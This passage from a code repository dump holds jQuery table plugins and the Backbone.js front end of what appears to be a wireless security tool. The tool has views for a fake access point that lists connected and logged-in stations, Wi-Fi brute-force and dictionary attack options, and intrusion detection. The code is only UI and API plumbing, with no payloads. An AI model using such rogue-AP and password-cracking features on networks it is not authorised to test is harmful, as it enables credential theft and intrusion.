'); 40 | $('body').append(div); 41 | var w1 = $('div', div).innerWidth(); 42 | div.css('overflow-y', 'auto'); 43 | var w2 = $('div', div).innerWidth(); 44 | $(div).remove(); 45 | scrollbarWidth = (w1 - w2); 46 | return scrollbarWidth; 47 | } 48 | 49 | $.fn.tableScroll = function(options) 50 | { 51 | if (options == 'undo') 52 | { 53 | var container = $(this).parent().parent(); 54 | if (container.hasClass('tablescroll_wrapper')) 55 | { 56 | container.find('.tablescroll_head thead').prependTo(this); 57 | container.find('.tablescroll_foot tfoot').appendTo(this); 58 | container.before(this); 59 | container.empty(); 60 | } 61 | return; 62 | } 63 | 64 | var settings = $.extend({},$.fn.tableScroll.defaults,options); 65 | 66 | // Bail out if there's no vertical overflow 67 | //if ($(this).height() <= settings.height) 68 | //{ 69 | // return this; 70 | //} 71 | 72 | settings.scrollbarWidth = getScrollbarWidth(); 73 | 74 | this.each(function() 75 | { 76 | var flush = settings.flush; 77 | 78 | var tb = $(this).addClass('tablescroll_body'); 79 | 80 | // find or create the wrapper div (allows tableScroll to be re-applied) 81 | var wrapper; 82 | if (tb.parent().hasClass('tablescroll_wrapper')) { 83 | wrapper = tb.parent(); 84 | } 85 | else { 86 | wrapper = $('
').insertBefore(tb).append(tb); 87 | } 88 | 89 | // check for a predefined container 90 | if (!wrapper.parent('div').hasClass(settings.containerClass)) 91 | { 92 | $('
').addClass(settings.containerClass).insertBefore(wrapper).append(wrapper); 93 | } 94 | 95 | var width = settings.width ? settings.width : tb.outerWidth(); 96 | 97 | wrapper.css 98 | ({ 99 | 'width': width+'px', 100 | 'height': settings.height+'px', 101 | 'overflow': 'auto' 102 | }); 103 | 104 | tb.css('width',width+'px'); 105 | 106 | // with border difference 107 | var wrapper_width = wrapper.outerWidth(); 108 | var diff = wrapper_width-width; 109 | 110 | // assume table will scroll 111 | wrapper.css({width:((width-diff)+settings.scrollbarWidth)+'px'}); 112 | tb.css('width',(width-diff)+'px'); 113 | 114 | if (tb.outerHeight() <= settings.height) 115 | { 116 | wrapper.css({height:'auto',width:(width-diff)+'px'}); 117 | flush = false; 118 | } 119 | 120 | // using wrap does not put wrapper in the DOM right 121 | // away making it unavailable for use during runtime 122 | // tb.wrap(wrapper); 123 | 124 | // possible speed enhancements 125 | var has_thead = $('thead',tb).length ? true : false ; 126 | var has_tfoot = $('tfoot',tb).length ? true : false ; 127 | var thead_tr_first = $('thead tr:first',tb); 128 | var tbody_tr_first = $('tbody tr:first',tb); 129 | var tfoot_tr_first = $('tfoot tr:first',tb); 130 | 131 | // remember width of last cell 132 | var w = 0; 133 | 134 | $('th, td',thead_tr_first).each(function(i) 135 | { 136 | w = $(this).width(); 137 | 138 | $('th:eq('+i+'), td:eq('+i+')',thead_tr_first).css('width',w+'px'); 139 | $('th:eq('+i+'), td:eq('+i+')',tbody_tr_first).css('width',w+'px'); 140 | if (has_tfoot) $('th:eq('+i+'), td:eq('+i+')',tfoot_tr_first).css('width',w+'px'); 141 | }); 142 | 143 | if (has_thead) 144 | { 145 | var tbh = $('
').insertBefore(wrapper).prepend($('thead',tb)); 146 | } 147 | 148 | if (has_tfoot) 149 | { 150 | var tbf = $('
').insertAfter(wrapper).prepend($('tfoot',tb)); 151 | } 152 | 153 | if (tbh != undefined) 154 | { 155 | tbh.css('width',width+'px'); 156 | 157 | if (flush) 158 | { 159 | $('tr:first th:last, tr:first td:last',tbh).css('width',(w+settings.scrollbarWidth)+'px'); 160 | tbh.css('width',wrapper.outerWidth() + 'px'); 161 | } 162 | } 163 | 164 | if (tbf != undefined) 165 | { 166 | tbf.css('width',width+'px'); 167 | 168 | if (flush) 169 | { 170 | $('tr:first th:last, tr:first td:last',tbf).css('width',(w+settings.scrollbarWidth)+'px'); 171 | tbf.css('width',wrapper.outerWidth() + 'px'); 172 | } 173 | } 174 | }); 175 | 176 | return this; 177 | }; 178 | 179 | // public 180 | $.fn.tableScroll.defaults = 181 | { 182 | flush: true, // makes the last thead and tbody column flush with the scrollbar 183 | width: null, // width of the table (head, body and foot), null defaults to the tables natural width 184 | height: 100, // height of the scrollable area 185 | containerClass: 'tablescroll' // the plugin wraps the table in a div with this css class 186 | }; 187 | 188 | })(jQuery); 189 | -------------------------------------------------------------------------------- /static/js/libs/jquery.tablesort.js: -------------------------------------------------------------------------------- 1 | /* 2 | A simple, lightweight jQuery plugin for creating sortable tables. 3 | https://github.com/kylefox/jquery-tablesort 4 | Version 0.0.2 5 | */ 6 | 7 | $(function() { 8 | 9 | var $ = window.jQuery; 10 | 11 | $.tablesort = function ($table, settings) { 12 | var self = this; 13 | this.$table = $table; 14 | this.$thead = this.$table.find('thead'); 15 | this.settings = $.extend({}, $.tablesort.defaults, settings); 16 | this.$table.find('th').bind('click.tablesort', function() { 17 | self.sort($(this)); 18 | }); 19 | this.index = null; 20 | this.$th = null; 21 | this.direction = null; 22 | }; 23 | 24 | $.tablesort.prototype = { 25 | 26 | sort: function(th, direction) { 27 | var start = new Date(), 28 | self = this, 29 | table = this.$table, 30 | rows = this.$thead.length > 0 ? table.find('tbody tr') : table.find('tr').has('td'), 31 | cells = table.find('tr td:nth-of-type(' + (th.index() + 1) + ')'), 32 | sortBy = th.data().sortBy, 33 | sortedMap = []; 34 | 35 | var unsortedValues = cells.map(function(idx, cell) { 36 | if (sortBy) 37 | return (typeof sortBy === 'function') ? sortBy($(th), $(cell), self) : sortBy; 38 | return ($(this).data().sortValue != null ? $(this).data().sortValue : $(this).text()); 39 | }); 40 | if (unsortedValues.length === 0) return; 41 | 42 | self.$table.find('th').removeClass(self.settings.asc + ' ' + self.settings.desc); 43 | 44 | if (direction !== 'asc' && direction !== 'desc') 45 | this.direction = this.direction === 'asc' ? 'desc' : 'asc'; 46 | else 47 | this.direction = direction; 48 | 49 | direction = this.direction == 'asc' ? 1 : -1; 50 | 51 | self.$table.trigger('tablesort:start', [self]); 52 | self.log("Sorting by " + this.index + ' ' + this.direction); 53 | 54 | for (var i = 0, length = unsortedValues.length; i < length; i++) 55 | { 56 | sortedMap.push({ 57 | index: i, 58 | cell: cells[i], 59 | row: rows[i], 60 | value: unsortedValues[i] 61 | }); 62 | } 63 | 64 | sortedMap.sort(function(a, b) { 65 | if (a.value > b.value) { 66 | return 1 * direction; 67 | } else if (a.value < b.value) { 68 | return -1 * direction; 69 | } else { 70 | return 0; 71 | } 72 | }); 73 | 74 | $.each(sortedMap, function(i, entry) { 75 | table.append(entry.row); 76 | }); 77 | 78 | th.addClass(self.settings[self.direction]); 79 | 80 | self.log('Sort finished in ' + ((new Date()).getTime() - start.getTime()) + 'ms'); 81 | self.$table.trigger('tablesort:complete', [self]); 82 | }, 83 | 84 | log: function(msg) { 85 | if(($.tablesort.DEBUG || this.settings.debug) && console && console.log) { 86 | console.log('[tablesort] ' + msg); 87 | } 88 | }, 89 | 90 | destroy: function() { 91 | this.$table.find('th').unbind('click.tablesort'); 92 | this.$table.data('tablesort', null); 93 | return null; 94 | } 95 | 96 | }; 97 | 98 | $.tablesort.DEBUG = false; 99 | 100 | $.tablesort.defaults = { 101 | debug: $.tablesort.DEBUG, 102 | asc: 'sorted ascending', 103 | desc: 'sorted descending' 104 | }; 105 | 106 | $.fn.tablesort = function(settings) { 107 | var table, sortable, previous; 108 | return this.each(function() { 109 | table = $(this); 110 | previous = table.data('tablesort'); 111 | if(previous) { 112 | previous.destroy(); 113 | } 114 | table.data('tablesort', new $.tablesort(table, settings)); 115 | }); 116 | }; 117 | 118 | }); -------------------------------------------------------------------------------- /static/js/libs/typed.min.js: -------------------------------------------------------------------------------- 1 | !function(t){"use strict";var s=function(s,e){this.el=t(s),this.options=t.extend({},t.fn.typed.defaults,e),this.isInput=this.el.is("input"),this.attr=this.options.attr,this.showCursor=this.isInput?!1:this.options.showCursor,this.elContent=this.attr?this.el.attr(this.attr):this.el.text(),this.contentType=this.options.contentType,this.typeSpeed=this.options.typeSpeed,this.startDelay=this.options.startDelay,this.backSpeed=this.options.backSpeed,this.backDelay=this.options.backDelay,this.strings=this.options.strings,this.strPos=0,this.arrayPos=0,this.stopNum=0,this.loop=this.options.loop,this.loopCount=this.options.loopCount,this.curLoop=0,this.stop=!1,this.cursorChar=this.options.cursorChar,this.shuffle=this.options.shuffle,this.sequence=[],this.build()};s.prototype={constructor:s,init:function(){var t=this;t.timeout=setTimeout(function(){for(var s=0;s'+this.cursorChar+""),this.el.after(this.cursor)),this.init()},typewrite:function(t,s){if(this.stop!==!0){var e=Math.round(70*Math.random())+this.typeSpeed,o=this;o.timeout=setTimeout(function(){var e=0,r=t.substr(s);if("^"===r.charAt(0)){var i=1;/^\^\d+/.test(r)&&(r=/\d+/.exec(r)[0],i+=r.length,e=parseInt(r)),t=t.substring(0,s)+t.substring(s+i)}if("html"===o.contentType){var n=t.substr(s).charAt(0);if("<"===n||"&"===n){var a="",h="";for(h="<"===n?">":";";t.substr(s).charAt(0)!==h;)a+=t.substr(s).charAt(0),s++;s++,a+=h}}o.timeout=setTimeout(function(){if(s===t.length){if(o.options.onStringTyped(o.arrayPos),o.arrayPos===o.strings.length-1&&(o.options.callback(),o.curLoop++,o.loop===!1||o.curLoop===o.loopCount))return;o.timeout=setTimeout(function(){o.backspace(t,s)},o.backDelay)}else{0===s&&o.options.preStringTyped(o.arrayPos);var e=t.substr(0,s+1);o.attr?o.el.attr(o.attr,e):o.isInput?o.el.val(e):"html"===o.contentType?o.el.html(e):o.el.text(e),s++,o.typewrite(t,s)}},e)},e)}},backspace:function(t,s){if(this.stop!==!0){var e=Math.round(70*Math.random())+this.backSpeed,o=this;o.timeout=setTimeout(function(){if("html"===o.contentType&&">"===t.substr(s).charAt(0)){for(var e="";"<"!==t.substr(s).charAt(0);)e-=t.substr(s).charAt(0),s--;s--,e+="<"}var r=t.substr(0,s);o.attr?o.el.attr(o.attr,r):o.isInput?o.el.val(r):"html"===o.contentType?o.el.html(r):o.el.text(r),s>o.stopNum?(s--,o.backspace(t,s)):s<=o.stopNum&&(o.arrayPos++,o.arrayPos===o.strings.length?(o.arrayPos=0,o.shuffle&&(o.sequence=o.shuffleArray(o.sequence)),o.init()):o.typewrite(o.strings[o.sequence[o.arrayPos]],s))},e)}},shuffleArray:function(t){var s,e,o=t.length;if(o)for(;--o;)e=Math.floor(Math.random()*(o+1)),s=t[e],t[e]=t[o],t[o]=s;return t},reset:function(){var t=this;clearInterval(t.timeout);var s=this.el.attr("id");this.el.after(''),this.el.remove(),"undefined"!=typeof this.cursor&&this.cursor.remove(),t.options.resetCallback()}},t.fn.typed=function(e){return this.each(function(){var o=t(this),r=o.data("typed"),i="object"==typeof e&&e;r||o.data("typed",r=new s(this,i)),"string"==typeof e&&r[e]()})},t.fn.typed.defaults={strings:["These are the default values...","You know what you should do?","Use your own!","Have a great day!"],typeSpeed:0,startDelay:0,backSpeed:0,shuffle:!1,backDelay:500,loop:!1,loopCount:!1,showCursor:!0,cursorChar:"|",attr:null,contentType:"html",callback:function(){},preStringTyped:function(){},onStringTyped:function(){},resetCallback:function(){}}}(window.jQuery); -------------------------------------------------------------------------------- /static/js/main.js: -------------------------------------------------------------------------------- 1 | require([ 2 | 'jquery', 3 | 'lodash', 4 | 'backbone', 5 | 'views/hidden', 6 | 'views/header-menu', 7 | 'views/project-list', 8 | 'views/status', 9 | 'views/fakeap', 10 | 'views/pentest', 11 | 'views/wids', 12 | 'utils/tpl', 13 | 'models/hidden-model', 14 | 'models/project-model', 15 | 'models/project-collection' 16 | ], 17 | 18 | function($, _, Backbone, HiddenView, HeaderView, 19 | ProjectListView, StatusView, FakeapView, PentestView, WidsView, 20 | tpl, HiddenModel, scanSaveCheckModal,Project, Projects){ 21 | Backbone.View.prototype.close = function() { 22 | if (this.beforeClose) { 23 | this.beforeClose(); 24 | } 25 | this.remove(); 26 | this.unbind(); 27 | }; 28 | 29 | var AppRouter = Backbone.Router.extend({ 30 | initialize:function(){ 31 | this.hidden(); 32 | this.statusView = new StatusView(); 33 | 34 | }, 35 | 36 | routes: { 37 | "": "redirect", 38 | "status": "status", 39 | "fakeap": "fakeap", 40 | "pentest": "pentest", 41 | "wids": "wids" 42 | }, 43 | 44 | redirect: function(){ 45 | app.navigate("status",{trigger:true}); 46 | }, 47 | 48 | hidden: function(){ 49 | if( this.hiddenView == undefined ) { 50 | this.hiddenModel = new HiddenModel(); 51 | this.hiddenView = new HiddenView({ 52 | model: this.hiddenModel 53 | }); 54 | $('body').append(this.hiddenView.render()); 55 | } 56 | }, 57 | 58 | status: function(){ 59 | this.before(function() { 60 | 61 | this.headerView.activeMenu(1); 62 | this.showView('#content',this.statusView); 63 | }); 64 | }, 65 | 66 | fakeap: function(){ 67 | this.before(function() { 68 | if (this.statusView.scanSignal) { 69 | this.scanSignalCheckModal() 70 | } 71 | else{ 72 | this.headerView.activeMenu(3); 73 | this.fakeapView = new FakeapView(); 74 | this.showView('#content', this.fakeapView); 75 | this.fakeapView.afterRender(); 76 | } 77 | }); 78 | }, 79 | 80 | pentest: function(){ 81 | this.before(function() { 82 | if (this.statusView.scanSignal) { 83 | this.scanSignalCheckModal() 84 | } 85 | else { 86 | this.headerView.activeMenu(2); 87 | this.pentestView = new PentestView(); 88 | this.showView('#content', this.pentestView); 89 | this.pentestView.afterRender(); 90 | } 91 | }) 92 | }, 93 | 94 | wids: function(){ 95 | this.before(function() { 96 | if (this.statusView.scanSignal) { 97 | this.scanSignalCheckModal() 98 | } 99 | else{ 100 | this.headerView.activeMenu(4); 101 | this.widsView = new WidsView(); 102 | this.showView('#content',this.widsView); 103 | this.widsView.afterRender(); 104 | } 105 | }); 106 | }, 107 | 108 | showView: function(selector, view) { 109 | if (this.currentView) this.currentView.close(); 110 | $('body>.ui.popup').remove(); 111 | $('body>.ui.modals').remove(); 112 | $(selector).html(view.render()); 113 | this.currentView = view; 114 | return view; 115 | }, 116 | 117 | scanSignalCheckModal: function(){ 118 | var self = this; 119 | $('.error-scan.check').modal({ 120 | 121 | }).modal('show'); 122 | }, 123 | 124 | before: function(callback) { 125 | if ( this.headerView ) { 126 | this.headerView.render(); 127 | if (callback) callback.call(this); 128 | } else { 129 | this.headerView = new HeaderView(); 130 | $('#header').html(this.headerView.render().el); 131 | if (callback) callback.call(this); 132 | } 133 | 134 | } 135 | }); 136 | tpl.loadTemplates([ 137 | 'header', 138 | 'hidden', 139 | 'hidden-message', 140 | 'project-list', 141 | 'project-list-item', 142 | 'status', 143 | 'status-scantable', 144 | 'status-scantable-list', 145 | 'status-scanchart', 146 | 'fakeap', 147 | 'fakeap-connstation', 148 | 'fakeap-connstation-list', 149 | 'fakeap-loginstation', 150 | 'fakeap-loginstation-list', 151 | 'pentest', 152 | 'pentest-scantable-empty', 153 | 'pentest-scantable', 154 | 'pentest-scantable-list', 155 | 'pentest-option', 156 | 'pentest-result', 157 | 'pentest-result-list', 158 | 'wids', 159 | 'wids-statistic', 160 | 'wids-statistic-list', 161 | 'wids-chart', 162 | 'wids-table', 163 | 'wids-table-list'], 164 | function() { 165 | window.app = new AppRouter(); 166 | Backbone.history.start(); 167 | } 168 | ); 169 | }); //End require 170 | 171 | -------------------------------------------------------------------------------- /static/js/models/fakeap-model.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone'], 3 | 4 | function($,_,Backbone) { 5 | var FakeAp = Backbone.Model.extend({ 6 | urlRoot: "/api/fakeap", 7 | defaults:{ 8 | "enc" : "", 9 | "ssid" : "", 10 | "password" : "", 11 | "connstation" : null, 12 | "loginstation" : null 13 | }, 14 | 15 | }); 16 | 17 | return FakeAp; 18 | 19 | }); -------------------------------------------------------------------------------- /static/js/models/hidden-model.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone'], 3 | 4 | function($,_,Backbone) { 5 | var HiddenModel = Backbone.Model.extend({ 6 | 7 | defaults:{ 8 | "message": [] 9 | }, 10 | 11 | url: function(){ 12 | return '/api/hidden/'+this.widsOption; 13 | }, 14 | 15 | initialize: function(){ 16 | var savedWidsOption = localStorage.getItem('wids'); 17 | if( savedWidsOption == null) { 18 | this.widsOption = 0; 19 | localStorage.setItem('wids',0); 20 | } else { 21 | this.widsOption = savedWidsOption; 22 | } 23 | }, 24 | 25 | setWidsOption: function(signal){ 26 | this.widsOption = signal; 27 | localStorage.setItem('wids',signal); 28 | }, 29 | 30 | messageLength: function(){ 31 | return this.toJSON().message.length; 32 | }, 33 | 34 | messageToCollection: function(){ 35 | var collection = new Backbone.Collection(this.toJSON().message); 36 | return collection; 37 | }, 38 | 39 | stringToArray: function(){ 40 | this.set("message",JSON.parse(this.get("message"))); 41 | } 42 | 43 | }); 44 | 45 | return HiddenModel; 46 | 47 | }); -------------------------------------------------------------------------------- /static/js/models/pentest-model.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone'], 3 | 4 | function($,_,Backbone) { 5 | var Pentest = Backbone.Model.extend({ 6 | url: "/api/pentest", 7 | defaults:{ 8 | "timeout":3, 9 | "public_ip_info":false, 10 | "conn_host_info":false, 11 | "bruteforce_number":false, 12 | "bruteforce_strings":false, 13 | "bruteforce_special":false, 14 | "bruteforce_space":false, 15 | "dictionary_user":false, 16 | "dictionary_password":false, 17 | "bruteforce_minlength":"3", 18 | "bruteforce_maxlength":"6", 19 | "aplist":[] 20 | } 21 | 22 | }); 23 | 24 | return Pentest; 25 | 26 | }); -------------------------------------------------------------------------------- /static/js/models/pentest-result-collection.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','models/pentest-result-model'], 3 | 4 | function($,_,Backbone, PentestResult) { 5 | var PentestResults = Backbone.Collection.extend({ 6 | 7 | model: PentestResult, 8 | 9 | url: function(){ 10 | return '/api/pentest'; 11 | } 12 | 13 | }); 14 | 15 | return PentestResults; 16 | 17 | }); -------------------------------------------------------------------------------- /static/js/models/pentest-result-model.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone'], 3 | 4 | function($,_,Backbone) { 5 | var PentestResult = Backbone.Model.extend({ 6 | "idAttribute": "essid" 7 | }); 8 | 9 | return PentestResult; 10 | 11 | }); -------------------------------------------------------------------------------- /static/js/models/project-collection.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','models/project-model'], 3 | 4 | function($,_,Backbone, Project) { 5 | var Projects = Backbone.Collection.extend({ 6 | model:Project, 7 | url:"/api/projects" 8 | }); 9 | 10 | return Projects; 11 | 12 | }); -------------------------------------------------------------------------------- /static/js/models/project-model.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone'], 3 | 4 | function($,_,Backbone) { 5 | var Project = Backbone.Model.extend({ 6 | urlRoot: "/api/projects", 7 | defaults:{ 8 | "id": null, 9 | "p_name": "", 10 | "p_desc":"", 11 | "p_time":"" 12 | } 13 | }); 14 | 15 | return Project; 16 | 17 | }); -------------------------------------------------------------------------------- /static/js/models/scanstatus-collection.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','models/scanstatus-model'], 3 | 4 | function($,_,Backbone, ScanStatus) { 5 | var ScanStatuses = Backbone.Collection.extend({ 6 | 7 | model: ScanStatus, 8 | 9 | url: function(){ 10 | return '/api/scanstatus'; 11 | }, 12 | 13 | stop: function(){ 14 | this.cell = null; 15 | this.reset(); 16 | Backbone.sync('create',this,{}); 17 | }, 18 | 19 | distinctKey: function(key){ 20 | return _.compact(_.uniq(this.pluck(key))); 21 | } 22 | 23 | }); 24 | 25 | return ScanStatuses; 26 | 27 | }); -------------------------------------------------------------------------------- /static/js/models/scanstatus-model.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone'], 3 | 4 | function($,_,Backbone) { 5 | var ScanStatus = Backbone.Model.extend({ 6 | "idAttribute": "bssid", 7 | 8 | defaults:{ 9 | enc: 'N/A' 10 | } 11 | }); 12 | 13 | return ScanStatus; 14 | 15 | }); -------------------------------------------------------------------------------- /static/js/models/wids-collection.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','models/wids-model'], 3 | 4 | function($,_,Backbone, Wids) { 5 | var WidsList = Backbone.Collection.extend({ 6 | 7 | model: Wids, 8 | url: '/api/wids' 9 | 10 | }); 11 | 12 | return WidsList; 13 | 14 | }); -------------------------------------------------------------------------------- /static/js/models/wids-model.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone'], 3 | 4 | function($,_,Backbone) { 5 | var Wids = Backbone.Model.extend({ 6 | 7 | }); 8 | 9 | return Wids; 10 | 11 | }); -------------------------------------------------------------------------------- /static/js/utils/tpl.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery', 'lodash', 'backbone'], 3 | 4 | function($, _, Backbone) { 5 | 6 | var tpl = { 7 | 8 | // Hash of preloaded templates for the app 9 | templates: {}, 10 | 11 | // Recursively pre-load all the templates for the app. 12 | // This implementation should be changed in a production environment. All the template files should be 13 | // concatenated in a single file. 14 | loadTemplates: function(names, callback) { 15 | 16 | var that = this; 17 | 18 | var loadTemplate = function(index) { 19 | var name = names[index]; 20 | $.get('tpl/' + name, function(data) { 21 | that.templates[name] = data; 22 | index++; 23 | if (index < names.length) { 24 | loadTemplate(index); 25 | } else { 26 | callback(); 27 | } 28 | }); 29 | }; 30 | 31 | loadTemplate(0); 32 | }, 33 | 34 | // Get template by name from hash of preloaded templates 35 | get: function(name) { 36 | return this.templates[name]; 37 | } 38 | 39 | }; 40 | 41 | return tpl; 42 | 43 | 44 | }); -------------------------------------------------------------------------------- /static/js/views/fakeap-connstation.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/jquery.tablesort'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var FakeApConnStationView = Backbone.View.extend({ 6 | 7 | tagName: 'table', 8 | 9 | className: 'ui hover compact sortable table', 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('fakeap-connstation')); 13 | this.model.bind("reset",this.render,this); 14 | }, 15 | 16 | render: function(){ 17 | this.$el.html(this.template()); 18 | _.each(this.model.models,function(connstation){ 19 | this.appendList(connstation); 20 | },this); 21 | 22 | return this; 23 | }, 24 | 25 | sortTable: function(){ 26 | this.$el.tablesort(); 27 | }, 28 | 29 | appendList: function(connstation){ 30 | this.$el.find('tbody').append(new FakeApConnStationList({ 31 | model: connstation 32 | }).render().el); 33 | } 34 | }); 35 | 36 | var FakeApConnStationList = Backbone.View.extend({ 37 | 38 | tagName: "tr", 39 | 40 | initialize: function(){ 41 | this.template = _.template(tpl.get('fakeap-connstation-list')); 42 | this.model.bind("change", this.render,this); 43 | this.model.bind("destroy",this.close,this); 44 | }, 45 | 46 | render: function(){ 47 | this.$el.html(this.template(this.model.toJSON())); 48 | return this; 49 | } 50 | 51 | }); 52 | 53 | return FakeApConnStationView; 54 | 55 | 56 | }); -------------------------------------------------------------------------------- /static/js/views/fakeap-loginstation.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/jquery.tablesort'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var FakeApLoginStationView = Backbone.View.extend({ 6 | 7 | tagName: 'table', 8 | 9 | className: 'ui hover compact sortable table', 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('fakeap-loginstation')); 13 | this.model.bind("reset",this.render,this); 14 | }, 15 | 16 | render: function(){ 17 | this.$el.html(this.template()); 18 | _.each(this.model.models,function(loginstation){ 19 | this.appendList(loginstation); 20 | },this); 21 | 22 | return this; 23 | }, 24 | 25 | sortTable: function(){ 26 | this.$el.tablesort(); 27 | }, 28 | 29 | appendList: function(loginstation){ 30 | this.$el.find('tbody').append(new FakeApLoginStationList({ 31 | model: loginstation 32 | }).render().el); 33 | } 34 | }); 35 | 36 | var FakeApLoginStationList = Backbone.View.extend({ 37 | 38 | tagName: "tr", 39 | 40 | initialize: function(){ 41 | this.template = _.template(tpl.get('fakeap-loginstation-list')); 42 | this.model.bind("change", this.render,this); 43 | this.model.bind("destroy",this.close,this); 44 | }, 45 | 46 | render: function(){ 47 | this.$el.html(this.template(this.model.toJSON())); 48 | return this; 49 | } 50 | 51 | }); 52 | 53 | return FakeApLoginStationView; 54 | 55 | 56 | }); -------------------------------------------------------------------------------- /static/js/views/fakeap.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl', 3 | 'views/fakeap-connstation', 4 | 'views/fakeap-loginstation', 5 | 'models/fakeap-model'], 6 | 7 | function($,_,Backbone,$,tpl,FakeApConnStationView,FakeApLoginStationView, FakeAp) { 8 | 9 | var FakeapView = Backbone.View.extend({ 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('fakeap')); 13 | 14 | this.fakeapSignal = false; 15 | }, 16 | 17 | render: function(){ 18 | this.setElement(this.template()); 19 | return this.el; 20 | }, 21 | 22 | events: { 23 | "click .start.button": "start", 24 | "click .pause.button": "pause", 25 | "click .stop.button": "stop" 26 | }, 27 | 28 | contextState: function(state){ 29 | switch(state){ 30 | case 0: 31 | this.$el.find('.start.button').addClass('disabled loading'); 32 | this.$el.find('.stop.button').removeClass('disabled'); 33 | this.form.find('.field').addClass('disabled'); 34 | break; 35 | case 1: 36 | this.$el.find('.pause.button').removeClass('disabled'); 37 | break; 38 | case 2: 39 | this.$el.find('.start.button').removeClass('disabled loading'); 40 | this.$el.find('.pause.button').addClass('disabled'); 41 | this.form.find('.field').removeClass('disabled'); 42 | break; 43 | case 3: 44 | this.$el.find('.start.button').removeClass('disabled'); 45 | this.$el.find('.start.button').removeClass('loading'); 46 | this.$el.find('.pause.button').addClass('disabled'); 47 | this.$el.find('.stop.button').addClass('disabled'); 48 | this.form.find('.field').removeClass('disabled'); 49 | break; 50 | default: 51 | this.$el.find('.start.button').addClass('disabled'); 52 | this.$el.find('.pause.button').addClass('disabled'); 53 | this.$el.find('.stop.button').addClass('disabled'); 54 | break; 55 | } 56 | }, 57 | 58 | afterRender: function(){ 59 | this.form = this.$el.find('.ui.form'); 60 | 61 | this.formReset(); 62 | 63 | }, 64 | 65 | formValidation: function(){ 66 | this.ssidValidation(); 67 | this.encValidation(); 68 | var self = this; 69 | this.$el.find('select.dropdown').dropdown({ 70 | onChange: function(value){ 71 | var type; 72 | if(value == 'wep') 73 | type = 1; 74 | else if(value == 'wpa') 75 | type = 2; 76 | else 77 | type = 0; 78 | 79 | self.pwValidation(type); 80 | } 81 | }); 82 | }, 83 | 84 | start: function(){ 85 | if(this.form.form('is valid')){ 86 | this.contextState(0); 87 | 88 | var enc = this.form.form('get value','enc'); 89 | var ssid = this.form.form('get value','ssid'); 90 | var password = this.form.form('get value','password'); 91 | 92 | this.fakeAp = new FakeAp({'enc':enc,'ssid':ssid,'password':password}); 93 | 94 | this.fakeapRun(10000); 95 | } 96 | }, 97 | 98 | fakeapRun: function(interval){ 99 | //For POST request with options 100 | this.fakeAp.save(); 101 | this.fakeapSignal = true; 102 | this.interval = interval; 103 | var self = this; 104 | setTimeout(function(){ 105 | self.fakeapAction(); 106 | },1000); 107 | }, 108 | 109 | fakeapAction: function(){ 110 | if( this.fakeapSignal ) { 111 | var self = this; 112 | this.fakeAp.fetch({ 113 | success: function(){ 114 | if( self.fakeapSignal ){ 115 | var connstation = new Backbone.Collection(JSON.parse(self.fakeAp.get("connstation").replace(/'/g,"\"").replace(/None/g,'"None"').replace(/False/g,'"False"').replace(/: u"/g,': "'))); 116 | var loginstation = new Backbone.Collection(JSON.parse(self.fakeAp.get("loginstation").replace(/'/g,"\"").replace(/None/g,'"None"').replace(/False/g,'"False"').replace(/: u"/g,': "'))); 117 | self.fakeApConnStationView = new FakeApConnStationView({ 118 | model: connstation 119 | }); 120 | self.fakeApLoginStationView = new FakeApLoginStationView({ 121 | model: loginstation 122 | }); 123 | self.$el.find('#conn-station').html(self.fakeApConnStationView.render().el); 124 | self.$el.find('#login-station').html(self.fakeApLoginStationView.render().el); 125 | 126 | setTimeout(function(){ 127 | self.fakeapAction(); 128 | },self.interval); 129 | self.contextState(1); 130 | } 131 | }, 132 | error: function() { 133 | setTimeout(function(){ 134 | self.fakeapAction(); 135 | },self.interval); 136 | } 137 | }); 138 | } 139 | }, 140 | 141 | pause: function(){ 142 | this.fakeapSignal = false; 143 | this.contextState(2); 144 | }, 145 | 146 | stop: function(){ 147 | this.fakeapSignal = false; 148 | this.contextState(3); 149 | this.formReset(); 150 | this.fakeapClear(); 151 | }, 152 | 153 | fakeapClear: function(){ 154 | if(this.fakeApConnStationView!=undefined) { 155 | this.fakeApConnStationView.close(); 156 | delete this.fakeApConnStationView; 157 | } 158 | if(this.fakeApLoginStationView!=undefined) { 159 | this.fakeApLoginStationView.close(); 160 | delete this.fakeApLoginStationView; 161 | } 162 | Backbone.sync('delete',this.fakeAp,{}); 163 | delete this.fakeAp; 164 | }, 165 | 166 | formReset: function(){ 167 | this.form.form('reset'); 168 | this.$el.find('.password.field').addClass('disabled').find('input').attr('disabled',true); 169 | this.formValidation(); 170 | }, 171 | 172 | ssidValidation: function(){ 173 | this.form.form({ 174 | on: 'change', 175 | inline: true, 176 | fields: { 177 | ssid_empty: { 178 | identifier: 'ssid', 179 | rules: [ 180 | { 181 | type: 'empty', 182 | prompt: 'Please enter the ssid' 183 | }] 184 | } 185 | } 186 | }); 187 | }, 188 | 189 | encValidation: function(){ 190 | this.form.form({ 191 | on: 'change', 192 | inline: true, 193 | fields: { 194 | empty: { 195 | identifier: 'enc', 196 | rules: [ 197 | { 198 | type: 'empty', 199 | prompt: 'Please select Encryption' 200 | }] 201 | } 202 | } 203 | }) 204 | }, 205 | 206 | pwValidation: function(type){ 207 | 